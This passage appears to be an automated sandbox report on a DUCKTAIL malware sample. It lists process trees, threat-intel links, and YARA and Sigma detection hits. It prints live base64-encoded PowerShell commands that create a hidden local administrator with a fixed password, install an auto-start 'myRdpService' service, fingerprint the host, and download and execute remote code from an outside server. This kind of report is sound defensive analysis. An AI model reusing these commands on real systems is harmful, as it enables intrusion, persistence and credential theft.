BpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6808 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7952 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6264 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 4712 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 2328 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3408 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 4532 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6604 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 2532 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 3056 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 1616 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 2544 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 1404 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 5348 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 3412 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 1428 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 6364 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8220 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 2376 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000002F.00000002.4929024968.00007FF7239E6000.00000004.00000001.01000000.0000000A.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Process Memory Space: powershell.exe PID: 4588	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 4588	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1f4a4c:$b1: ::WriteAllBytes( 0x38a6a:$b2: ::FromBase64String( 0x38ae2:$b2: ::FromBase64String( 0x38b2f:$b2: ::FromBase64String( 0x38b8f:$b2: ::FromBase64String( 0x38c1c:$b2: ::FromBase64String( 0x38c80:$b2: ::FromBase64String( 0x38cfd:$b2: ::FromBase64String( 0x38d69:$b2: ::FromBase64String( 0x14abfa:$b2: ::FromBase64String( 0x14b3ea:$b2: ::FromBase64String( 0x14b570:$b2: ::FromBase64String( 0x14b826:$b2: ::FromBase64String( 0x14b89b:$b2: ::FromBase64String( 0x14b90e:$b2: ::FromBase64String( 0x14b96a:$b2: ::FromBase64String( 0x14b9d6:$b2: ::FromBase64String( 0x14ba31:$b2: ::FromBase64String( 0x14bac5:$b2: ::FromBase64String( 0x14bb2d:$b2: ::FromBase64String( 0x14bb99:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 8856	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8856	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 8856	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x338044:$b1: ::WriteAllBytes( 0x32588f:$b2: ::FromBase64String( 0x3284ff:$b2: ::FromBase64String( 0x32877b:$b2: ::FromBase64String( 0x3287ef:$b2: ::FromBase64String( 0x32f0fd:$b2: ::FromBase64String( 0x15a969:$b3: ::UTF8.GetString( 0x1897b:$s1: -join 0x25a50:$s1: -join 0x28e22:$s1: -join 0x294d4:$s1: -join 0x2afc5:$s1: -join 0x2d1cb:$s1: -join 0x2d9f2:$s1: -join 0x2e262:$s1: -join 0x2e99d:$s1: -join 0x2e9cf:$s1: -join 0x2ea17:$s1: -join 0x2ea36:$s1: -join 0x2f286:$s1: -join 0x2f402:$s1: -join
Process Memory Space: svczHost.exe PID: 3548	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 3548	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x64d02:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x6645e:$a2: 0123456789012345678901234567890123456789 0x72e22:$a3: NTPASSWORD 0x71b59:$a4: LMPASSWORD 0x8464d:$a5: aad3b435b51404eeaad3b435b51404ee 0x67356:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
47.2.myRdpService.exe.7ff7234e0000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_8856.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_8856.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd29:$b1: ::WriteAllBytes( 0xc19f:$b2: ::FromBase64String( 0xee10:$b2: ::FromBase64String( 0xf08d:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0xbdf0:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x559c:$s4: += 0x565e:$s4: += 0x9885:$s4: += 0xb9a2:$s4: += 0xbc8c:$s4: += 0xbdd2:$s4: += 0xf243:$s4: += 0xf440:$s4: += 0x116f6:$s4: += 0x69ad7:$s4: += 0x69b57:$s4: += 0x69c1d:$s4: += 0x69c9d:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAA